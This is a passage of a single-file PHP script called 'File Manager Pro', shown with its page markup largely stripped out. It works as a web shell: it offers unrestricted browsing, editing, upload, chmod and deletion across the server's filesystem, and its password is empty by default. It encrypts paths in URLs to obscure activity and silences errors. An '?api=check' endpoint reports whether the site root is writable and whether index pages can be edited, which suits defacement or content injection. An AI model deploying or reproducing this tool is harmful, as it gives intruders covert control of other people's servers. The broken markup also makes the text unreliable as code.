' or 'sha256:') * SET $KEY — secret used to encrypt URL path parameters * ============================================================ */ $PW = ''; $KEY = 'fm-pro-change-this-secret-key-2026'; /* ---------------- low-level helpers ---------------- */ function fm_n($p) { return str_replace('\\', '/', (string)$p); } function fm_h($s) { return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8'); } /** URL-safe base64 encode */ function fm_b64e($s) { return rtrim(strtr(base64_encode((string)$s), '+/', '-_'), '='); } /** URL-safe base64 decode (strict). Returns null on failure. */ function fm_b64d($s) { $s = (string)$s; if ($s === '') return ''; $b = base64_decode(strtr($s, '-_', '+/'), true); return ($b === false) ? null : $b; } /** Encrypt a string for use in URLs. Prefix 'a'=AES, 'x'=XOR. */ function fm_enc($s) { global $KEY; if (function_exists('openssl_encrypt') && function_exists('hash')) { $iv = substr(hash('sha256', $KEY . '#iv', true), 0, 16); $raw = hash('sha256', $KEY, true); $r = @openssl_encrypt((string)$s, 'AES-256-CTR', $raw, OPENSSL_RAW_DATA, $iv); if ($r !== false) return 'a' . fm_b64e($r); } $key = function_exists('hash') ? hash('sha256', $KEY, true) : md5($KEY, true); $kl = strlen($key); $out = ''; $len = strlen((string)$s); for ($i = 0; $i < $len; $i++) { $out .= $s[$i] ^ $key[$i % $kl]; } return 'x' . fm_b64e($out); } /** Decrypt a value produced by fm_enc(). Returns null on failure. */ function fm_dec($s) { global $KEY; $s = (string)$s; if ($s === '') return null; $tag = substr($s, 0, 1); $raw = fm_b64d(substr($s, 1)); if ($raw === null) return null; if ($tag === 'a' && function_exists('openssl_decrypt')) { $iv = substr(hash('sha256', $KEY . '#iv', true), 0, 16); $r = @openssl_decrypt($raw, 'AES-256-CTR', hash('sha256', $KEY, true), OPENSSL_RAW_DATA, $iv); return ($r === false) ? null : $r; } if ($tag === 'x') { $key = function_exists('hash') ? hash('sha256', $KEY, true) : md5($KEY, true); $kl = strlen($key); $out = ''; $len = strlen($raw); for ($i = 0; $i < $len; $i++) { $out .= $raw[$i] ^ $key[$i % $kl]; } return $out; } return null; } /** Resolve any absolute path to canonical form, null if invalid. */ function fm_resolve($path) { $path = fm_n($path); if ($path === '') return null; if (strpos($path, "\0") !== false) return null; if (strpos($path, '://') !== false) return null; $r = @realpath($path); return ($r !== false) ? fm_n($r) : null; } function fm_base($p) { $p = fm_n($p); if ($p === '/') return '/'; $i = strrpos($p, '/'); return $i === false ? $p : substr($p, $i + 1); } function fm_ls($dir) { $out = array(); if (function_exists('scandir')) { $r = @scandir($dir); if ($r !== false) return $r; } if (!function_exists('opendir')) return $out; $h = @opendir($dir); if (!$h) return $out; while (($n = readdir($h)) !== false) $out[] = $n; @closedir($h); return $out; } function fm_rmdir_r($dir) { if (!is_dir($dir)) return false; foreach (fm_ls($dir) as $it) { if ($it === '.' || $it === '..') continue; $p = $dir . '/' . $it; if (is_dir($p)) { fm_rmdir_r($p); } else { @unlink($p); } } return @rmdir($dir); } function fm_copy_dir($src, $dst) { if (!@is_dir($src)) return false; if (!@mkdir($dst, 0777, true) && !@is_dir($dst)) return false; foreach (fm_ls($src) as $it) { if ($it === '.' || $it === '..') continue; $s = $src . '/' . $it; $d = $dst . '/' . $it; if (@is_dir($s)) { if (!fm_copy_dir($s, $d)) return false; } else { if (!@copy($s, $d)) return false; } } return true; } function fm_perm_str($path) { $p = @fileperms($path); if ($p === false) return '----'; return substr(sprintf('%o', (int)$p), -4); } function fm_size_int($path) { $s = @filesize($path); return ($s === false) ? -1 : (int)$s; } function fm_size_str($path) { $s = fm_size_int($path); if ($s < 0) return '?'; if ($s >= 1073741824) return round($s / 1073741824, 2) . ' GB'; if ($s >= 1048576) return round($s / 1048576, 1) . ' MB'; if ($s >= 1024) return round($s / 1024, 1) . ' KB'; return $s . ' B'; } function fm_kind($path) { if (@is_link($path)) return 'link'; if (@is_dir($path)) return 'dir'; return 'file'; } function fm_ext($name) { $i = strrpos($name, '.'); if ($i === false || $i === 0) return ''; return strtolower(substr($name, $i + 1)); } /** RFC 5987 safe Content-Disposition filename */ function fm_disposition($name) { $fallback = preg_replace('/[^\x20-\x7E]/', '_', $name); $fallback = str_replace(array('"', '\\', ';'), '_', $fallback); if ($fallback === '') $fallback = 'download'; return "attachment; filename=\"$fallback\"; filename*=UTF-8''" . rawurlencode($name); } /* ---------------- bootstrap ---------------- */ error_reporting(0); @ini_set('display_errors', '0'); if (function_exists('ob_start')) { @ob_start(); } if (function_exists('mb_internal_encoding')) { @mb_internal_encoding('UTF-8'); } /* ---------------- session, CSRF, auth ---------------- */ if (function_exists('session_id') && session_id() === '') { @session_start(); } $CSRF = ''; if (isset($_SESSION) && is_array($_SESSION)) { if (empty($_SESSION['fm_csrf'])) { if (function_exists('random_bytes')) { $_SESSION['fm_csrf'] = bin2hex(random_bytes(16)); } elseif (function_exists('openssl_random_pseudo_bytes')) { $_SESSION['fm_csrf'] = bin2hex(openssl_random_pseudo_bytes(16)); } else { $_SESSION['fm_csrf'] = sha1(uniqid(mt_rand(), true)); } } $CSRF = (string)$_SESSION['fm_csrf']; } function fm_check_csrf() { if ($GLOBALS['CSRF'] === '') return true; // sessions unavailable: skip check if (!isset($_POST['csrf'])) return false; return (string)$_POST['csrf'] === $GLOBALS['CSRF']; } /* password gate */ if ($PW !== '') { $ok = false; if (isset($_POST['fm_pw'])) { $given = (string)$_POST['fm_pw']; if (strpos($PW, 'md5:') === 0) { $ok = md5($given) === substr($PW, 4); } elseif (strpos($PW, 'sha256:') === 0) { $ok = hash('sha256', $given) === substr($PW, 7); } else { $ok = ($given === $PW); } if ($ok) $_SESSION['fm_ok'] = 1; } if (empty($_SESSION['fm_ok'])) { @header('Content-Type: text/html; charset=utf-8'); echo 'Sign in — File Manager Pro'; echo ''; echo '

File Manager Pro

'; echo '

Enter your password to continue

'; echo ''; echo '
'; exit; } } /* ---------------- capability report (?api=check) ---------------- */ if (isset($_GET['api'])) { @header('Content-Type: application/json; charset=utf-8'); $root = fm_n(dirname(__FILE__)); $rr = @realpath($root); if ($rr !== false) $root = fm_n($rr); $rw = false; $probe = $root . '/.fm_probe.tmp'; if (@file_put_contents($probe, 'ok') !== false) { $c = @file_get_contents($probe); $rw = ($c === 'ok'); } @unlink($probe); $ie = false; $ifiles = array(); foreach (array('index.php', 'index.html', 'index.htm') as $f) { $p = $root . '/' . $f; if (@is_file($p)) { $ifiles[] = $f; $h = @fopen($p, 'a'); if ($h !== false) { @fclose($h); $ie = true; } } } $report = array( 'ok' => ($rw && $ie), 'root_writable' => $rw, 'index_editable' => $ie, 'index_files' => $ifiles, 'php_version' => PHP_VERSION, 'server' => isset($_SERVER['SERVER_SOFTWARE']) ? (string)$_SERVER['SERVER_SOFTWARE'] : 'unknown', 'os' => PHP_OS, 'root' => $root, 'openssl' => function_exists('openssl_encrypt'), 'zip' => class_exists('ZipArchive'), ); echo function_exists('json_encode') ? json_encode($report) : '{"ok":false,"error":"json_encode unavailable"}'; exit; } /* ---------------- script dir & current dir ---------------- */ $scriptDir = fm_n(dirname(__FILE__)); $sd = @realpath($scriptDir); if ($sd !== false) $scriptDir = fm_n($sd); function fm_cur_dir() { global $scriptDir; if (isset($_GET['d'])) { $d = fm_dec((string)$_GET['d']); if ($d !== null) { $r = fm_resolve($d); if ($r !== null && @is_dir($r)) return $r; } } return $scriptDir; } /* ---------------- download / view (GET, before HTML) ---------------- */ if (isset($_GET['a'])) { $act = (string)$_GET['a']; if ($act === 'dl' || $act === 'view') { $f = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_file($p) && is_readable($p)) { $name = fm_base($p); $ext = fm_ext($name); $mime = 'application/octet-stream'; $mimes = array( 'txt'=>'text/plain; charset=utf-8','md'=>'text/plain; charset=utf-8','log'=>'text/plain; charset=utf-8', 'json'=>'application/json','js'=>'text/javascript','css'=>'text/css','xml'=>'application/xml','htm'=>'text/html','html'=>'text/html', 'php'=>'text/plain; charset=utf-8','phtml'=>'text/plain; charset=utf-8', 'png'=>'image/png','jpg'=>'image/jpeg','jpeg'=>'image/jpeg','gif'=>'image/gif','webp'=>'image/webp','svg'=>'image/svg+xml','ico'=>'image/x-icon','bmp'=>'image/bmp', 'pdf'=>'application/pdf','mp3'=>'audio/mpeg','wav'=>'audio/wav','ogg'=>'audio/ogg','mp4'=>'video/mp4','webm'=>'video/webm', 'zip'=>'application/zip', ); if (isset($mimes[$ext])) $mime = $mimes[$ext]; while (@ob_end_clean()) {} @header('Content-Type: ' . $mime); @header('X-Content-Type-Options: nosniff'); if ($act === 'dl') { @header('Content-Disposition: ' . fm_disposition($name)); @header('Content-Length: ' . fm_size_int($p)); } $full = fm_size_int($p); if ($full <= 64 * 1048576 && function_exists('readfile')) { @readfile($p); } else { $h = @fopen($p, 'rb'); if ($h) { while (!feof($h)) { echo @fread($h, 8192); } @fclose($h); } } } else { @header('HTTP/1.0 404 Not Found'); echo 'Not found or not readable.'; } exit; } } /* ---------------- POST actions ---------------- */ $msg = ''; $err = ''; /** Decode a base64 POST field. Accepts both 'k' and 'k_b64'. Null when missing/invalid. */ function fm_post($k) { if (isset($_POST[$k])) return fm_b64d((string)$_POST[$k]); if (isset($_POST[$k . '_b64'])) return fm_b64d((string)$_POST[$k . '_b64']); return null; } if (isset($_SERVER['REQUEST_METHOD']) && $_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['a'])) { if (!fm_check_csrf()) { $err = 'Session expired or bad CSRF token — please retry.'; } else { $act = (string)$_POST['a']; $dirRaw = fm_post('dir'); $dir = ($dirRaw !== null) ? fm_resolve($dirRaw) : null; if ($dir === null || !@is_dir($dir)) { $dir = $scriptDir; } if ($act === 'save') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_file($p)) { $c = fm_post('content'); if ($c === null) { $c = isset($_POST['content']) ? (string)$_POST['content'] : ''; } $ok = @file_put_contents($p, $c); if ($ok !== false) { $msg = 'Saved: ' . fm_base($p); } else { $err = 'Save failed (permissions?).'; } } else { $err = 'File not found.'; } } elseif ($act === 'goto') { $dest = fm_post('dest'); $r = ($dest !== null) ? fm_resolve($dest) : null; if ($r !== null && @is_dir($r)) { while (@ob_end_clean()) {} @header('Location: ?d=' . fm_enc($r)); exit; } $err = 'Invalid path.'; } elseif ($act === 'upload') { if (!empty($_FILES['up']) && is_array($_FILES['up']['name'])) { $done = 0; $failed = 0; $count = count($_FILES['up']['name']); for ($i = 0; $i < $count; $i++) { $name = (string)$_FILES['up']['name'][$i]; $tmp = (string)$_FILES['up']['tmp_name'][$i]; if ($name === '' || $tmp === '' || !empty($_FILES['up']['error'][$i])) { $failed++; continue; } if (function_exists('is_uploaded_file') && !is_uploaded_file($tmp)) { $failed++; continue; } $dest = $dir . '/' . fm_n(basename(fm_n($name))); $ok = false; if (function_exists('move_uploaded_file')) { $ok = @move_uploaded_file($tmp, $dest); } if (!$ok && function_exists('copy')) { $ok = @copy($tmp, $dest); } if ($ok) { $done++; } else { $failed++; } } if ($done > 0) { $msg = "Uploaded $done file(s)." . ($failed ? " $failed failed." : ''); } else { $err = 'Upload failed — no files received or write denied.'; } } else { $err = 'No file received.'; } } elseif ($act === 'newfile') { $name = fm_post('name'); $name = ($name !== null) ? basename(fm_n($name)) : ''; if ($name !== '' && $name !== '.' && $name !== '..' && strpos($name, "\0") === false) { $p = $dir . '/' . $name; if (@file_exists($p)) { $err = 'Already exists: ' . $name; } else { $ok = @file_put_contents($p, ''); if ($ok !== false) { $msg = 'Created: ' . $name; } else { $err = 'Create failed (permissions?).'; } } } else { $err = 'Invalid file name.'; } } elseif ($act === 'mkdir') { $name = fm_post('name'); $name = ($name !== null) ? basename(fm_n($name)) : ''; if ($name !== '' && $name !== '.' && $name !== '..') { $ok = @mkdir($dir . '/' . $name, 0777, true); if ($ok) { $msg = 'Folder created: ' . $name; } else { $err = 'Mkdir failed (exists or denied?).'; } } else { $err = 'Invalid folder name.'; } } elseif ($act === 'rename') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $new = fm_post('newname'); $new = ($new !== null) ? basename(fm_n($new)) : ''; if ($p !== null && $new !== '' && $new !== '.' && $new !== '..' && strpos($new, "\0") === false) { $ok = @rename($p, fm_n(dirname($p)) . '/' . $new); if ($ok) { $msg = 'Renamed to ' . $new; } else { $err = 'Rename failed.'; } } else { $err = 'Invalid name.'; } } elseif ($act === 'copy' || $act === 'move') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $dest = fm_post('dest'); $dest = ($dest !== null) ? fm_resolve($dest) : null; if ($p !== null && $dest !== null && @is_dir($dest)) { $target = $dest . '/' . fm_base($p); if (@file_exists($target)) { $err = 'Target already exists: ' . fm_base($target); } elseif ($act === 'copy') { if (@is_dir($p)) { $ok = function_exists('fm_copy_dir') ? fm_copy_dir($p, $target) : false; if (!$ok && function_exists('shell_exec')) { @shell_exec('cp -r ' . escapeshellarg($p) . ' ' . escapeshellarg($target)); $ok = @is_dir($target); } } else { $ok = @copy($p, $target); } if ($ok) { $msg = 'Copied to ' . $target; } else { $err = 'Copy failed.'; } } else { $ok = @rename($p, $target); if ($ok) { $msg = 'Moved to ' . $target; } else { $err = 'Move failed.'; } } } else { $err = 'Invalid source or destination.'; } } elseif ($act === 'delete') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null) { if (is_dir($p)) { $ok = fm_rmdir_r($p); } else { $ok = @unlink($p); } if ($ok) { $msg = 'Deleted: ' . fm_base($p); } else { $err = 'Delete failed.'; } } else { $err = 'Cannot delete that.'; } } elseif ($act === 'chmod') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; $m = fm_post('mode'); $mode = ($m !== null && is_numeric($m)) ? (int)$m : (int)@octdec((string)$m); if ($p !== null && $mode > 0 && function_exists('chmod')) { $ok = @chmod($p, $mode); if ($ok) { $msg = 'Chmod applied: ' . sprintf('%04o', $mode); } else { $err = 'Chmod failed.'; } } else { $err = 'Chmod not supported or invalid value.'; } } elseif ($act === 'zip') { $f = fm_post('file'); $p = ($f !== null) ? fm_resolve($f) : null; if ($p !== null && @is_dir($p)) { if (class_exists('ZipArchive')) { $zipPath = $p . '.zip'; $zip = new ZipArchive(); if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === true) { $base = fm_base($p); $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($p, FilesystemIterator::SKIP_DOTS)); $added = 0; foreach ($rii as $item) { $ip = fm_n($item->getPathname()); $local = $base . '/' . ltrim(substr($ip, strlen($p)), '/'); if ($item->isDir()) { $zip->addEmptyDir($local); } else { $zip->addFile($ip, $local); $added++; } } $zip->close(); $msg = 'Archive created: ' . fm_base($zipPath) . " ($added files)"; } else { $err = 'Could not create zip.'; } } else { $err = 'ZipArchive not available on this server.'; } } else { $err = 'Select a folder to zip.'; } } } } /* ---------------- current dir & view state ---------------- */ $cur = fm_cur_dir(); $curEnc = fm_enc($cur); $parent = fm_n(dirname($cur)); $hasParent = ($parent !== $cur && $parent !== '' && $parent !== '.'); $editFile = null; if (isset($_GET['a']) && (string)$_GET['a'] === 'edit') { $ef = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; if ($ef !== null) { $ep = fm_resolve($ef); if ($ep !== null && @is_file($ep)) $editFile = $ep; } } $viewFile = null; if (isset($_GET['a']) && (string)$_GET['a'] === 'preview') { $vf = isset($_GET['f']) ? fm_dec((string)$_GET['f']) : null; if ($vf !== null) { $vp = fm_resolve($vf); if ($vp !== null && @is_file($vp)) $viewFile = $vp; } } $searchQ = isset($_GET['q']) ? (string)$_GET['q'] : ''; $searchResults = null; if ($searchQ !== '' && $editFile === null && $viewFile === null) { $needle = function_exists('mb_strtolower') ? mb_strtolower($searchQ, 'UTF-8') : strtolower($searchQ); $searchResults = array(); $stack = array($cur); $visited = 0; while (!empty($stack) && count($searchResults) < 200 && $visited < 20000) { $d = array_pop($stack); $visited++; foreach (fm_ls($d) as $it) { if ($it === '.' || $it === '..') continue; $full = $d . '/' . $it; $hay = function_exists('mb_strtolower') ? mb_strtolower($it, 'UTF-8') : strtolower($it); if (strpos($hay, $needle) !== false) { $searchResults[] = array('name' => $it, 'path' => $full, 'dir' => @is_dir($full)); } if (@is_dir($full) && !@is_link($full)) $stack[] = $full; } } } /* ---------------- SVG icons ---------------- */ function fm_svg($body, $size) { return ''; } function fm_icon_type($kind, $ext) { if ($kind === 'dir') return 'dir'; if ($kind === 'link') return 'link'; $map = array( 'image' => array('png','jpg','jpeg','gif','webp','bmp','ico','svg','tiff'), 'code' => array('php','phtml','js','css','html','htm','json','xml','py','rb','java','c','cpp','h','sh','sql','yml','yaml','ini','conf','htaccess','ts','vue','go','rs'), 'archive' => array('zip','rar','7z','tar','gz','bz2','xz'), 'doc' => array('txt','md','rtf','doc','docx','odt','pdf','xls','xlsx','csv','ppt','pptx'), 'audio' => array('mp3','wav','ogg','flac','m4a'), 'video' => array('mp4','webm','mkv','avi','mov'), 'font' => array('ttf','otf','woff','woff2','eot'), ); foreach ($map as $t => $exts) { if (in_array($ext, $exts, true)) return $t; } return 'file'; } function fm_icon($kind, $ext, $size) { if ($kind === 'dir') { return fm_svg('', $size); } if ($kind === 'link') { return fm_svg('', $size); } $type = fm_icon_type($kind, $ext); $bodies = array( 'image' => '', 'code' => '', 'archive' => '', 'doc' => '', 'audio' => '', 'video' => '', 'font' => '', 'file' => '', ); return fm_svg($bodies[$type], $size); } function fm_ai($name, $size) { $bodies = array( 'edit' => '', 'view' => '', 'download' => '', 'rename' => '', 'copy' => '', 'move' => '', 'chmod' => '', 'trash' => '', 'zip' => '', 'up' => '', 'search' => '', 'folder-plus' => '', 'file-plus' => '', 'arrow-up' => '', 'goto' => '', 'back' => '', 'check' => '', 'x' => '', ); return fm_svg($bodies[$name], $size); } /** Print a hidden base64-encoded POST field. */ function fm_hid($name, $value) { echo '' . "\n"; } /** Print the CSRF hidden field. */ function fm_csrf_field() { echo '' . "\n"; } $EDIT_EXTS = array('php','phtml','php3','php4','php5','phps','txt','md','html','htm','css','js','json','xml','py','rb','java','c','cpp','h','sh','sql','yml','yaml','ini','conf','cfg','htaccess','csv','log','env','ts','vue','go','rs','pl','lua'); $IMAGE_EXTS = array('png','jpg','jpeg','gif','webp','bmp','svg','ico'); @header('Content-Type: text/html; charset=utf-8'); ?> File Manager Pro — <?php echo fm_h(fm_base($cur)); ?>
', 18); ?> File Manager Pro
PHP
$drive . '/', 'path' => $drive . '/'); $rest = ltrim(substr($path, 2), '/'); $acc = $drive; if ($rest !== '') { foreach (explode('/', $rest) as $part) { if ($part === '') continue; $acc .= '/' . $part; $crumbs[] = array('label' => $part, 'path' => $acc); } } } else { $crumbs[] = array('label' => '/', 'path' => '/'); $rest = ltrim($path, '/'); if ($rest !== '') { $acc = ''; foreach (explode('/', $rest) as $part) { if ($part === '') continue; $acc .= '/' . $part; $crumbs[] = array('label' => $part, 'path' => $acc); } } } $last = count($crumbs) - 1; foreach ($crumbs as $i => $c) { if ($i > 0) echo '/'; if ($i === $last) { echo '' . fm_h($c['label']) . ''; } else { echo '' . fm_h($c['label']) . ''; } } ?>
Navigate
Upload files
New file
New folder
Go to path
Search here
= 0); ?>

This file is too large to edit in the browser (limit 8 MB). Use download instead.

Cancel Download

Search: ""

match(es)

No matches found.

NameLocationActions
open folder dl

item(s) · folders · files
', 44); ?>

This directory is empty

' . fm_h($it) . ''; } elseif (in_array($ext, $EDIT_EXTS, true)) { $nameLink = '' . fm_h($it) . ''; } elseif (in_array($ext, $IMAGE_EXTS, true)) { $nameLink = '' . fm_h($it) . ''; } else { $nameLink = '' . fm_h($it) . ''; } ?>
Name Size Modified Perms Actions
edit view dl
File Manager Pro · single-file PHP on · paths encrypted in URL ()